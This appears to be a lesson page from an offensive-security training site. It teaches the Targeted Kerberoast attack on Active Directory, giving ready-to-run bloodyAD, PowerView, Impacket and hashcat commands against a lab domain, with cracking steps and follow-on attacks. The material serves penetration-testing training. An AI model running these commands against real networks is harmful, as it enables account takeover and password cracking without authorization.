← Back to Academy

Academy Node

Targeted Kerberoast

Targeted Kerberoast writes an SPN onto a user you control rights over, requests a TGS, then removes the SPN.

Intermediate100 XPDACL Abuse

Why it matters

It turns GenericWrite over a user into an offline password crack path.

How to identify it

  • GenericWrite/GenericAll over user
  • Can modify servicePrincipalName

BloodHound indicators

  • GenericWrite to User

Impacket commands

impacket-GetUserSPNs xutslabs.local/USER:'PASS' -dc-ip 192.168.184.141 -request-user TARGET

BloodyAD commands

bloodyAD --host 192.168.184.141 -d xutslabs.local -u USER -p PASS set object TARGET servicePrincipalName -v fake/http

PowerView commands

Set-DomainObject TARGET -Set @{serviceprincipalname='fake/http'}

Linux commands

hashcat -m 13100 targeted_tgs.txt /usr/share/wordlists/rockyou.txt

Expected output

  • $krb5tgs$ hash for target user

Success looks like

  • Password cracks

Failure looks like

  • No write permission
  • Password does not crack

Troubleshooting

  • Confirm SPN set
  • Try PowerView/BloodyAD

Common mistakes

  • Forgetting to remove SPN
  • Attacking protected user incorrectly

Alternative attacks

  • Shadow Credentials
  • ForceChangePassword

What to try next

  • Validate cracked creds
  • Check WinRM/AdminTo

Recommended next lessons

ASREP Roast

ASREP roasting abuses AD users with Kerberos pre-authentication disabled. You can request encrypted ASREP material and attempt to crack it offline.

Kerberoast

Kerberoasting targets domain users with SPNs. You request service tickets and crack them offline.

GenericWrite

GenericWrite means you can modify certain attributes on the target AD object.

GenericAll

GenericAll is effectively full control over the target AD object.